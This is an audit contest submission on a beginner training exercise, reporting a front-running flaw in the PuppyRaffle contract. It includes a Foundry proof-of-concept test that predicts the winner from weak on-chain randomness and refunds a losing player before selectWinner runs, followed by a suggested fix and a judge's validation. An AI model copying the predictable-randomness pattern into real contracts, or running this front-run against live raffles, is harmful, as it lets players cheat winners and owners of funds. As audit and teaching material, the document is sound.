Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Lack of Epoch Checks on `Refund` Allows Frontrun on ReFund

yum_cutty

Root + Impact

Description

due to the following constraint on the current buggy implementation:

  • PuppyRaffle::refund allows you to withdraw from the event, but no enforcement on ended event that withdrawal is prohibited

  • PuppyRaffle::selectWinner contains weak randomness that can be guessed correctly

function refund(uint256 playerIndex) public {
// @audit q can still call this even after event has ended ??
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// ...
}
​
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
uint256 winnerIndex =
@>>> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
// ...
}

when someone calls selectWinner, MEV bot can hold the transaction, frontrun the transaction by checking the winner using the randomness formula, and potentially withdraw out from the event if the expected person isn't the winner (meaning it allows any loser withdraw out), only then allows the selectWinner function to executes

Risk

Likelihood: High

  • any loser can withdraw out right before the selectWinner function is called

Impact: High/Medium

  • loser can take this advantage to secure their fees deposited during the participation

  • winner will get less ETH

Attack Path:

  1. a casual ongoing raffle event, with participant coming in

  2. after the time has passed, someone calls selectWinner to conclude the event and select winner

  3. however, Alice hold this action (assuming Alice has participated the event)

  4. Alice take advantage of the weak randomness to guess the winner. she realized that she is not the winner

  5. Alice calls refund to withdraw herself off from the event, getting back her prior entrance fees deposits

  6. then no.2 action goes through, winner has announced and the reward has distributed

  7. Alice being the loser has successfully secured her deposits, while the actual winner receive less rewards than he should

Proof of Concept

create a new test file, paste the below PoC into the newly created test file, and run it.

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
​
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
​
contract PuppyRaffleTest is Test {
​
PuppyRaffle puppyRaffle;
​
uint256 entranceFee = 1e18;
address feeAddress = address(99);
uint256 duration = 1 days;
​
function setUp() public {
puppyRaffle = new PuppyRaffle(
entranceFee,
feeAddress,
duration
);
deal(address(this), 1000000000 ether);
}
​
function test_loser_frontRun_withdraw_before_winner_selection() public {
// prepare participants
address[] memory participants = new address[](100);
for (uint256 i = 0; i < 100; i++) {
participants[i] = address(uint160(i + 1));
}
​
// participants enter raffle
puppyRaffle.enterRaffle{value: entranceFee * participants.length}(participants);
​
// fast forward time to after raffle duration
vm.warp(block.timestamp + duration + 1 seconds);
​
// when someone calls selectWinner, this tx gets frontrun to check
// the winner first ... so that if i dont win, i can withdraw my fees before it gets reset
​
// checks the winner (due to the weak randomness, its 100% can be guessed)
address guessedWinner = _guessWinner(participants);
// for simplicity, we pick only one of the loser do the frontrun
address loser;
for (uint256 i = 0; i < participants.length; i++) {
if (participants[i] != guessedWinner) {
loser = participants[i];
break;
}
}
​
// this loser withdraw before the selectWinner is called
// so that this loser will get back the funds, while he shouldnt
vm.startPrank(loser);
puppyRaffle.refund(puppyRaffle.getActivePlayerIndex(loser));
assertEq(address(loser).balance, entranceFee);
vm.stopPrank();
​
// now the winner selection proceeds
puppyRaffle.selectWinner();
}
​
function _guessWinner(address[] memory participants) public view returns(address) {
// we can directly guess the randomness here
uint256 randomnessSource = uint256(
// directly copied the randomness formula from the codebase
keccak256(abi.encodePacked(
// msg.sender, <-- caller of the selectWinner function is address(this)
address(this),
block.timestamp,
block.difficulty
))
// note that it is possible to check total elements off-chain for the PuppyRaffle::players array
// for simplicity, we hardcode it here ...
) % participants.length;
​
return participants[randomnessSource];
}
​
}

Recommended Mitigation

consider adding a checks to ensure that refund (including enterRaffle) is only permitted right before the event has ended

function enterRaffle(address[] memory newPlayers) public payable {
+ require(block.timestamp < raffleStartTime + raffleDuration, "PuppyRaffle: Raffle overed");
require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
// ...
}
​
function refund(uint256 playerIndex) public {
+ require(block.timestamp < raffleStartTime + raffleDuration, "PuppyRaffle: Raffle overed");
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// ...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 6 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-07] Potential Front-Running Attack in `selectWinner` and `refund` Functions

## Description Malicious actors can watch any `selectWinner` transaction and front-run it with a transaction that calls `refund` to avoid participating in the raffle if he/she is not the winner or even to steal the owner fess utilizing the current calculation of the `totalAmountCollected` variable in the `selectWinner` function. ## Vulnerability Details The PuppyRaffle smart contract is vulnerable to potential front-running attacks in both the `selectWinner` and `refund` functions. Malicious actors can monitor transactions involving the `selectWinner` function and front-run them by submitting a transaction calling the `refund` function just before or after the `selectWinner` transaction. This malicious behavior can be leveraged to exploit the raffle in various ways. Specifically, attackers can: 1. **Attempt to Avoid Participation:** If the attacker is not the intended winner, they can call the `refund` function before the legitimate winner is selected. This refunds the attacker's entrance fee, allowing them to avoid participating in the raffle and effectively nullifying their loss. 2. **Steal Owner Fees:** Exploiting the current calculation of the `totalAmountCollected` variable in the `selectWinner` function, attackers can execute a front-running transaction, manipulating the prize pool to favor themselves. This can result in the attacker claiming more funds than intended, potentially stealing the owner's fees (`totalFees`). ## Impact - **Medium:** The potential front-running attack might lead to undesirable outcomes, including avoiding participation in the raffle and stealing the owner's fees (`totalFees`). These actions can result in significant financial losses and unfair manipulation of the contract. ## Recommendations To mitigate the potential front-running attacks and enhance the security of the PuppyRaffle contract, consider the following recommendations: - Implement Transaction ordering dependence (TOD) to prevent front-running attacks. This can be achieved by applying time locks in which participants can only call the `refund` function after a certain period of time has passed since the `selectWinner` function was called. This would prevent attackers from front-running the `selectWinner` function and calling the `refund` function before the legitimate winner is selected.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!